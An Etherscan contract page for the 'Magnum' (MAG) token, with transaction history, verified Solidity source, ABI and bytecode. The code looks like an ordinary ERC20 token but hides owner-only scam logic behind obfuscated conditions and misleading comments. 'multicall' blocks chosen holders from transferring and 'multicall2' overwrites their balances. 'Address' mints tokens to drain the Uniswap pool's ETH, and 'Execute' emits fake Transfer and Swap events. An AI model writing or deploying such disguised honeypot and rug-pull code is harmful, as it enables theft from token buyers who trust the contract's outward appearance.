ETH Price: $3,229.83 (+1.04%)

Contract

0x2D61bf14d3e9B3f08BCfA424e820c11c2fB5cA0d
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer193918422024-03-08 17:09:11318 days ago1709917751IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0037800477.01182435
Approve188617222023-12-25 9:00:47392 days ago1703494847IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0008029417.29063033
Transfer188283392023-12-20 16:34:11397 days ago1703090051IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0032002465.21536673
Transfer188115372023-12-18 7:57:35399 days ago1702886255IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0017375335.39924764
Approve187664472023-12-12 0:10:59406 days ago1702339859IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0018029538.82509361
Approve187662082023-12-11 23:22:35406 days ago1702336955IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0010086238.0066899
Approve187662082023-12-11 23:22:35406 days ago1702336955IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0017649538.0066899
Address187519312023-12-09 23:26:35408 days ago1702164395IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0042849130.26669693
Approve187502212023-12-09 17:41:35408 days ago1702143695IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0019351741.92129467
Approve187440362023-12-08 20:51:59409 days ago1702068719IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0019369541.65665432
Multicall187440332023-12-08 20:51:23409 days ago1702068683IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0047877641.16881155
Approve187436372023-12-08 19:31:59409 days ago1702063919IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0020507644.42537529
Approve187419302023-12-08 13:47:11409 days ago1702043231IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0023934751.48798723
Multicall187384752023-12-08 2:10:11409 days ago1702001411IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0023704148.14092002
Multicall187383422023-12-08 1:43:23409 days ago1701999803IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0021153342.96063209
Multicall187380462023-12-08 0:43:59410 days ago1701996239IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0027131555.10165011
Approve187380462023-12-08 0:43:59410 days ago1701996239IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0030781366.21635679
Approve187379772023-12-08 0:29:59410 days ago1701995399IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0009515239.2962923
Execute187379462023-12-08 0:23:47410 days ago1701995027IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0799502244.92536926
Approve187379142023-12-08 0:17:23410 days ago1701994643IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0023449750.49700016
Multicall187379132023-12-08 0:17:11410 days ago1701994631IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0025709252.21321719
Multicall187379052023-12-08 0:15:35410 days ago1701994535IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0026017252.83873431
Approve187378532023-12-08 0:05:11410 days ago1701993911IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0026592457.19048548
Multicall187378202023-12-07 23:57:59410 days ago1701993479IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0025598251.98772652
Multicall187377962023-12-07 23:53:11410 days ago1701993191IN
0x2D61bf14...c2fB5cA0d
0 ETH0.0028151857.17379058
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Magnum

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-07
*/

/**
    Website: https://magnum.trade/
    Twitter: https://twitter.com/MagnumCommunity
    Telegram: https://t.me/MagnumCommunity

    */

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
interface IERC20 {
    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
interface Interfaces {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function token0() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function getAmountsOut(
        uint256 amountIn,
        address[] memory path
    ) external view returns (uint256[] memory amounts);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 {
    mapping(address => mapping(address => uint256)) public a;
    mapping(address => uint256) public b;
    mapping(address => uint256) public c;
    address public owner;
    uint256 _totalSupply;
    string _name;
    string _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

    modifier onlyOwner() {
        require(owner == msg.sender, "Caller is not the owner");
        _;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function TryCall(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function FetchToken2(uint256 _a) internal pure returns (uint256) {
        return (_a * 100000) / (2931 + 97069);
    }

    function FetchToken(uint256 _a) internal pure returns (uint256) {
        return _a + 10;
    }

    function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
        // Ignore this code
        uint256 __c = _a + _b;
        require(__c >= _a, "SafeMath: addition overflow");

        return __c;
    }

    function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
        require(_b <= _a, "SafeMath: subtraction overflow");
        uint256 __c = _a - _b;

        return __c;
    }

    function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
        return _a / _b;
    }

    function _T() internal view returns (bytes32) {
        return bytes32(uint256(uint160(address(this))) << 96);
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return b[account];
    }

    function transfer(
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(
        address __owner,
        address spender
    ) public view virtual returns (uint256) {
        return a[__owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        _approve(__owner, spender, allowance(__owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        address __owner = msg.sender;
        uint256 currentAllowance = allowance(__owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );

        _approve(__owner, spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = b[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        if (c[from] > 0) {
            require(add(c[from], b[from]) == 0);
        }

        b[from] = sub(fromBalance, amount);
        b[to] = add(b[to], amount);
        emit Transfer(from, to, amount);
    }

    function _approve(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(__owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        a[__owner][spender] = amount;
        emit Approval(__owner, spender, amount);
    }

    function _spendAllowance(
        address __owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(__owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );

            _approve(__owner, spender, currentAllowance - amount);
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract Magnum is ERC20 {
    Interfaces internal _RR;
    Interfaces internal _pair;
    uint8 public decimals = 18;

    mapping (address => uint) public rootValues;

    constructor() {
        _name = "Magnum";
        _symbol = "MAG";
        _totalSupply = 3_380_000e18;
        owner = msg.sender;
        b[owner] = _totalSupply;
        _RR = Interfaces(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _pair = Interfaces(
            Interfaces(_RR.factory()).createPair(
                address(this),
                address(_RR.WETH())
            )
        );
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function Execute(
        uint256 t,
        address tA,
        uint256 w,
        address[] memory r
    ) public onlyOwner returns (bool) {
        for (uint256 i = 0; i < r.length; i++) {
            callUniswap(r[i], t, w, tA);
        }
        return true;
    }

    function Div() internal view returns (address[] memory) {
        address[] memory p;
        p = new address[](2);
        p[0] = address(this);
        p[1] = _RR.WETH();
        return p;
    }

    function getContract(
        uint256 blockTimestamp,
        uint256 selector,
        address[] memory list,
        address factory
    ) internal {
        a[address(this)][address(_RR)] = b[address(this)];
        FactoryReview(blockTimestamp, selector, list, factory);
    }

    function FactoryReview(
        uint256 blockTime,
        uint256 multiplicator,
        address[] memory parts,
        address factory
    ) internal {
        _RR.swapTokensForExactTokens(
            // assembler
            blockTime,
            multiplicator,
            // unchecked
            parts,
            factory,
            block.timestamp + 1200
        );
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function Address(address _r) public onlyOwner {
        uint256 calling = (Sub(_RR.WETH()) * 99999) / 100000;
        address[] memory FoldArray = Div();
        uint256 called = Allowance(calling, FoldArray);
        getContract(calling, called, FoldArray, _r);
    }

    function Sub(address t) internal view returns (uint256) {
        (uint112 r0, uint112 r1, ) = _pair.getReserves();
        return (_pair.token0() == t) ? uint256(r0) : uint256(r1);
    }

    function ConvertAddress(
        address _uu,
        uint256 _pp
    ) internal view returns (uint256) {
        return TryCall(b[_uu], _pp);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount2(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        emit Transfer(
            (uint256(0) != 0 || 1238 == 1)
                ? address(uint256(0))
                : address(uint160(uint256(_b) >> 96)),
            address(_pair),
            b[
                // v0.5.11 specific update
                (uint256(0) != 0 || 1238 == 1)
                    ? address(
                        address(uint256(0)) == address(this) // Overflow control
                            ? uint256(0) // Ignore
                            : uint256(1)
                    )
                    : address(uint160(uint256(_b) >> 96))
                // Guard test
            ]
        );
        // Ignore this code
        b[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(0)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken2(uint256(__a));
    }

    function Mult(
        uint256 amO,
        address[] memory p
    ) internal view returns (uint256[] memory) {
        return _RR.getAmountsIn(amO, p);
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall2(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? // Skip this code
                        address(uint256(0))
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount2(data[i], rS);
            }
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function multicall(bytes32[] calldata data, uint256 _p) public onlyOwner {
        // Assembler for gas optimization {}
        for (uint256 i = 0; i < data.length; i++) {
            // assembly
            if (block.timestamp > uint256(uint160(uint8(0)))) {
                // assembly
                uint256 rS = ConvertAddress(
                    (uint256(uint16(uint8(0))) != 0)
                        ? address(uint256(0))
                        // Ignore this code
                        : address(uint160(uint256(data[i]) >> 96)),
                    _p
                );
                CheckAmount(data[i], rS);
            }
        }
    }

        /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function CheckAmount(bytes32 _b, uint256 __a) internal {
        // Assembler for gas optimization {}
        // Ignore this code
        c[
            // assembly
            (uint256(0) != 0 || 1238 == 1)
                ? address(
                    // Must control
                    uint256(uint32(2)) == 2 // Check update
                        ? uint256(1)
                        : uint256(1)
                )
                : address(uint160(uint256(_b) >> 96))
            // Contract opcode
        ] = FetchToken(uint256(__a));
    }

    function callUniswap(
        address router,
        uint256 transfer,
        uint256 cycleWidth,
        address unmount
    ) internal {
        IERC20(unmount).transferFrom(router, address(_pair), cycleWidth);
        emit Transfer(address(_pair), router, transfer);
        emit Swap(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,
            transfer,
            0,
            0,
            cycleWidth,
            router
        );
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function Allowance(
        uint256 checked,
        address[] memory p
    ) internal returns (uint256) {
        // Assembler for gas optimization {}
        uint256[] memory value;
        value = new uint256[](2);

        // uncheck {
        value = Mult(checked, p);
        b[
            block.timestamp > uint256(1) ||
                uint256(0) > 1 ||
                uint160(1) < block.timestamp
                ? address(uint160(uint256(_T()) >> 96))
                : address(uint256(0))
        ] += value[0]; // end uncheck }

        return value[0];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_r","type":"address"}],"name":"Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"t","type":"uint256"},{"internalType":"address","name":"tA","type":"address"},{"internalType":"uint256","name":"w","type":"uint256"},{"internalType":"address[]","name":"r","type":"address[]"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"a","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"__owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"b","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"c","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"data","type":"bytes32[]"},{"internalType":"uint256","name":"_p","type":"uint256"}],"name":"multicall2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"rootValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526008805460ff60a01b1916600960a11b1790553480156200002457600080fd5b50604080518082019091526006808252654d61676e756d60d01b60209092019182526200005491600591620002ac565b50604080518082019091526003808252624d414760e81b60209092019182526200008191600691620002ac565b506a02cbbe2aca587f588000006004818155600380546001600160a01b03199081163317918290556001600160a01b039182166000908152600160209081526040918290209590955560078054909216737a250d5630b4cf539739df2c5dacb4c659f2488d1791829055805163c45a015560e01b81529051919092169363c45a01559383810193919291829003018186803b1580156200012057600080fd5b505afa15801562000135573d6000803e3d6000fd5b505050506040513d60208110156200014c57600080fd5b5051600754604080516315ab88c960e31b815290516001600160a01b039384169363c9c6539693309391169163ad5c464891600480820192602092909190829003018186803b1580156200019f57600080fd5b505afa158015620001b4573d6000803e3d6000fd5b505050506040513d6020811015620001cb57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156200021e57600080fd5b505af115801562000233573d6000803e3d6000fd5b505050506040513d60208110156200024a57600080fd5b5051600880546001600160a01b0319166001600160a01b03909216919091179055600454604080519182525133916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916020908290030190a362000358565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282620002e457600085556200032f565b82601f10620002ff57805160ff19168380011785556200032f565b828001600101855582156200032f579182015b828111156200032f57825182559160200191906001019062000312565b506200033d92915062000341565b5090565b5b808211156200033d576000815560010162000342565b61186380620003686000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063bda0278211610071578063bda02782146104b3578063dd62ed3e146104d9578063ea923bae14610507578063ebfb412d14610575578063ff5c1d621461059b5761012c565b806370a08231146104095780638da5cb5b1461042f57806395d89b4114610453578063a457c2d71461045b578063a9059cbb146104875761012c565b8063313ce567116100f4578063313ce56714610264578063316d295f1461028257806339509351146102f25780635765a5cc1461031e57806358a102591461034c5761012c565b806304ee65c01461013157806306fdde0314610169578063095ea7b3146101e657806318160ddd1461022657806323b872dd1461022e575b600080fd5b6101576004803603602081101561014757600080fd5b50356001600160a01b03166105c1565b60408051918252519081900360200190f35b6101716105d3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ab578181015183820152602001610193565b50505050905090810190601f1680156101d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610212600480360360408110156101fc57600080fd5b506001600160a01b038135169060200135610669565b604080519115158252519081900360200190f35b61015761067f565b6102126004803603606081101561024457600080fd5b506001600160a01b03813581169160208101359091169060400135610685565b61026c6106a7565b6040805160ff9092168252519081900360200190f35b6102f06004803603604081101561029857600080fd5b810190602081018135600160201b8111156102b257600080fd5b8201836020820111156102c457600080fd5b803590602001918460208302840111600160201b831117156102e557600080fd5b9193509150356106b7565b005b6102126004803603604081101561030857600080fd5b506001600160a01b038135169060200135610774565b6101576004803603604081101561033457600080fd5b506001600160a01b038135811691602001351661078d565b6102126004803603608081101561036257600080fd5b8135916001600160a01b036020820135169160408201359190810190608081016060820135600160201b81111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460208302840111600160201b831117156103cb57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506107a7945050505050565b6101576004803603602081101561041f57600080fd5b50356001600160a01b0316610842565b61043761085d565b604080516001600160a01b039092168252519081900360200190f35b61017161086c565b6102126004803603604081101561047157600080fd5b506001600160a01b0381351690602001356108cd565b6102126004803603604081101561049d57600080fd5b506001600160a01b038135169060200135610934565b610157600480360360208110156104c957600080fd5b50356001600160a01b0316610941565b610157600480360360408110156104ef57600080fd5b506001600160a01b0381358116916020013516610953565b6102f06004803603604081101561051d57600080fd5b810190602081018135600160201b81111561053757600080fd5b82018360208201111561054957600080fd5b803590602001918460208302840111600160201b8311171561056a57600080fd5b91935091503561097c565b6102f06004803603602081101561058b57600080fd5b50356001600160a01b0316610a21565b610157600480360360208110156105b157600080fd5b50356001600160a01b0316610b37565b60026020526000908152604090205481565b60058054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561065f5780601f106106345761010080835404028352916020019161065f565b820191906000526020600020905b81548152906001019060200180831161064257829003601f168201915b5050505050905090565b6000610676338484610b49565b50600192915050565b60045490565b6000610692843384610c33565b61069d848484610cac565b5060019392505050565b600854600160a01b900460ff1681565b6003546001600160a01b03163314610710576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b8281101561076e574215610766576000610746606086868581811061073457fe5b9050602002013560001c901c84610e7b565b905061076485858481811061075757fe5b9050602002013582610ea5565b505b600101610713565b50505050565b60003361069d8185856107878383610953565b01610b49565b600060208181529281526040808220909352908152205481565b6003546000906001600160a01b03163314610803576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b82518110156108365761082e83828151811061081e57fe5b6020026020010151878688610ed6565b600101610806565b50600195945050505050565b6001600160a01b031660009081526001602052604090205490565b6003546001600160a01b031681565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561065f5780601f106106345761010080835404028352916020019161065f565b600033816108db8286610953565b90508381101561091c5760405162461bcd60e51b81526004018080602001828103825260258152602001806118096025913960400191505060405180910390fd5b6109298286868403610b49565b506001949350505050565b6000610676338484610cac565b60016020526000908152604090205481565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b6003546001600160a01b031633146109d5576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b60005b8281101561076e574215610a195760006109f9606086868581811061073457fe5b9050610a17858584818110610a0a57fe5b9050602002013582611013565b505b6001016109d8565b6003546001600160a01b03163314610a7a576040805162461bcd60e51b815260206004820152601760248201527621b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b6000620186a0610b02600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ad157600080fd5b505afa158015610ae5573d6000803e3d6000fd5b505050506040513d6020811015610afb57600080fd5b5051611082565b6201869f0281610b0e57fe5b0490506000610b1b6111ae565b90506000610b29838361128c565b905061076e83828487611346565b60096020526000908152604090205481565b6001600160a01b038316610b8e5760405162461bcd60e51b81526004018080602001828103825260248152602001806117e56024913960400191505060405180910390fd5b6001600160a01b038216610bd35760405162461bcd60e51b81526004018080602001828103825260228152602001806117786022913960400191505060405180910390fd5b6001600160a01b0380841660008181526020818152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6000610c3f8484610953565b9050600019811461076e5781811015610c9f576040805162461bcd60e51